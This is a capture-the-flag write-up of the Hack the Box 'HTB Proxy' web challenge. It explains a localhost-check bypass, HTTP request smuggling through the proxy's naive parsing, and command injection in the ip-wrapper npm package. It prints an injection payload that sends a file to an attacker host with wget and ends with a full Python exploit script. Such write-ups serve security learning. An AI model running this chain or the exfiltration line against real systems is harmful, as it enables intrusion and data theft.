πŸ”€Web - HTB Proxy

Hack the Box Business CTF 2024 - Web - HTB Proxy

Intro

This is a very short write-up of the HTB-Proxy web challenge, as it was another one of the interesting challenges the team and I completed.

Challenge Description

Your team is tasked to penetrate the internal networks of a raider base in order to acquire explosives, scanning their ip ranges revealed only one alive host running their own custom implementation of an HTTP proxy, have you got enough wit to get the job done?

Challenge Files

Writeup

This challenge seemed pretty straight forward at first but as you progressed through it seemed to get more and more difficult.

I started off working on this challenge and routing my traffic through the proxy using curl. From reviewing the source code we can see there is a back end I wanted to reach that just as a first goal. This proved to be a lot tougher than I though though.

There are a series of checks each request through the proxy goes through, here they are in order:

  • Parses headers of the HTTP request

    • If POST request:

      • Parses body

      • Compares body length to Content-Length HTTP header

  • Checks if the HTTP version is 1.1

  • Checks if the request is for /

    • If so it returns /app/proxy/includes/index.html

  • Checks if the request is for /server-info

  • Checks if the request contains /flushInterface

    • If so return "Not Allowed"

  • Checks if the Host header is set

  • Checks if it is an IPv4 address or domain address using regex

  • Does checks on the host header looking at if its empty, checks fro port number, and checks if it is localhost using this function:

  • Checks if the request is malicious using this function:

And if it makes it though all these checks then it forwards all the bytes to the target host.

Step 1

So now step 1 was to bypass the localhost checks so we could reach one of the two backend endpoints, /getAddresses. I managed to get by the first few checks after realizing that the /server-status endpoint gave me the hostname and I used <hostname>.local to try to route my requests. This ended up not working fully and I ended that working session a little defeated and went to work on some other challenges.

The following day, while I was still doing other challenges, some of my team was able to find a way around all the checks for localhost using https://nip.io/ and the internal IP gathered from /server-status.

After seeing this I knew that I had to finish out this challenge I had started. As my teammates went to bed, I am in a vastly different timezone as them at the moment, I hopped on and started working on completing the rest of the steps...

Step 2

The next step was to reach the /flushInterface endpoint it seemed. This was the only endpoint on the backend that could accept user input and actually did stuff with it. The issue was you could reach out to it over the proxy because the url is being parsed to see if it contains flushInterface.

I tried URL encoding but it doesn't get decoded, capitalization didn't work because it uses toLower on the URL before checking, and no amount of random encoding seemed to work. I was stumped...

Until I noticed that the proxy was parsing the HTTP requests in a slightly weird way.

func requestParser(requestBytes []byte, remoteAddr string) (*HTTPRequest, error) {
	var requestLines []string = strings.Split(string(requestBytes), "\r\n")
	var bodySplit []string = strings.Split(string(requestBytes), "\r\n\r\n")

	if len(requestLines) < 1 {
		return nil, fmt.Errorf("invalid request format")
	}

	var requestLine []string = strings.Fields(requestLines[0])
	if len(requestLine) != 3 {
		return nil, fmt.Errorf("invalid request line")
	}

	var request *HTTPRequest = &HTTPRequest{
		RemoteAddr: remoteAddr,
		Method:     requestLine[0],
		URL:        requestLine[1],
		Protocol:   requestLine[2],
		Headers:    make(map[string]string),
	}

	for _, line := range requestLines[1:] {
		if line == "" {
			break
		}

		headerParts := strings.SplitN(line, ": ", 2)
		if len(headerParts) != 2 {
			continue
		}

		request.Headers[headerParts[0]] = headerParts[1]
	}

	if request.Method == HTTPMethods.POST {
		contentLength, contentLengthExists := request.Headers["Content-Length"]
		if !contentLengthExists {
			return nil, fmt.Errorf("unknown content length for body")
		}

		contentLengthInt, err := strconv.Atoi(contentLength)
		if err != nil {
			return nil, fmt.Errorf("invalid content length")
		}

		if len(bodySplit) <= 1 {
			return nil, fmt.Errorf("invalid content length")
		}
		var bodyContent string = bodySplit[1]
		if len(bodyContent) != contentLengthInt {
			return nil, fmt.Errorf("invalid content length")
		}

		request.Body = bodyContent[0:contentLengthInt]
		return request, nil
	}

	if len(bodySplit) > 1 && bodySplit[1] != "" {
		return nil, fmt.Errorf("can't include body for non-POST requests")
	}

	return request, nil
}

Reading through this you can see that it is parsing the body by just splitting the message into an array where \r\n\r\n is. In a normal HTTP request that is OK as the body is located after \r\n\r\n usually, but as an attacker we can use this to our advantage and attach a second request to the end and perform and HTTP request smuggling attack. This was easier said than done though as we had to now bypass a check on content-length to avoid the checkMaliciousBody function (which would ruin us because it checks for /n and /r).

After some messing around I found a way to successfully smuggle a request through and avoid the checks, you'll find it in the exploit script at the bottom.

Step 3

Now we could reach the /flushInterface endpoint and send out data to it but it seemed to be just sending the user supplied interface to ipWrapper.addr.flush.

app.post("/flushInterface", validateInput, async (req, res) => {
    console.log("Hit on flushInterface!")
    const { interface } = req.body;
    console.log(interface)

    try {
        const addr = await ipWrapper.addr.flush(interface);
        res.json(addr);
    } catch (err) {
        res.status(401).json({message: "Error flushing interface"});
    }
});

This wasn't anything custom or interesting... Unless you go to the package, ip-wrapper, on NPM and review the code.

From doing this I found that the interface is just being passed into an exec call raw, no filtering. Now we just had to exploit this command injection vulnerability.

This was straight forward and I escaped the command it was running using a semi-colon and then added my command with ${IFS} as spaces, as spaces were filtered out when validating the interface in this function:

const validateInput = (req, res, next) => {
    const { interface } = req.body;

    if (
        !interface || 
        typeof interface !== "string" || 
        interface.trim() === "" || 
        interface.includes(" ")
    ) {
        return res.status(400).json({message: "A valid interface is required"});
    }

    next();
}

My payload:

{"interface": ";cat${IFS}/flag.txt${IFS}|${IFS}xargs${IFS}wget${IFS}http://{attack_box}/${IFS}--post-data"}

Testing this locally, and with more verbose output, you can see whats happening and the exploit chain working:

And with that I had the flag!

Full Exploit Script

import socket

attack_box = 'blah.blah.com:8080'
proxy_host = '94.237.60.187'  # Proxy server address
proxy_port = 40205  # Proxy server port
internal_ip = '192.168.34.37' # from /server-status
#convert the . in the ip to - for the magic-192-168-34-37.nip.io
internal_ip = internal_ip.replace('.', '-')
target_url = f'http://magic-{internal_ip}.nip.io:5000/getAddresses'  # URL to request via the proxy
host = 'magic-{internal_ip}.nip.io:5000'
data = ""
data2 = '{"interface": ";cat${IFS}/flag.txt${IFS}|${IFS}xargs${IFS}wget${IFS}http://{attack_box}/${IFS}--post-data"}'
content_length = len(data)
content_length2 = len(data2)
smuggle_payload = f"POST http://magic-{internal_ip}.nip.io:5000/flushInterface HTTP/1.1\r\nHost: magic-172-17-0-2.nip.io:5000\r\nContent-Type: application/json\r\nContent-Length: {content_length2}\r\n\r\n{data2}"

def send_http_request_through_proxy(proxy_host, proxy_port, target_url):
    # Create a socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Connect to the proxy server
    s.connect((proxy_host, proxy_port))

    # Formulate a GET request with the full URL
    request = f"POST {target_url} HTTP/1.1\r\nHost: {host}\r\nContent-Length: {content_length}\r\nContent-Type: application/json\r\n\r\n{data}\r\n\r\n{smuggle_payload}"

    # Send the request to the proxy
    s.send(request.encode())

    # Receive the response from the proxy
    response = b''
    while True:
        buffer = s.recv(4096)
        if not buffer:
            break
        response += buffer

    # Close the socket
    s.close()

    # Return the response as a string
    return response.decode()
# Sending the request and printing the response
response = send_http_request_through_proxy(proxy_host, proxy_port, target_url)
print(response)

Last updated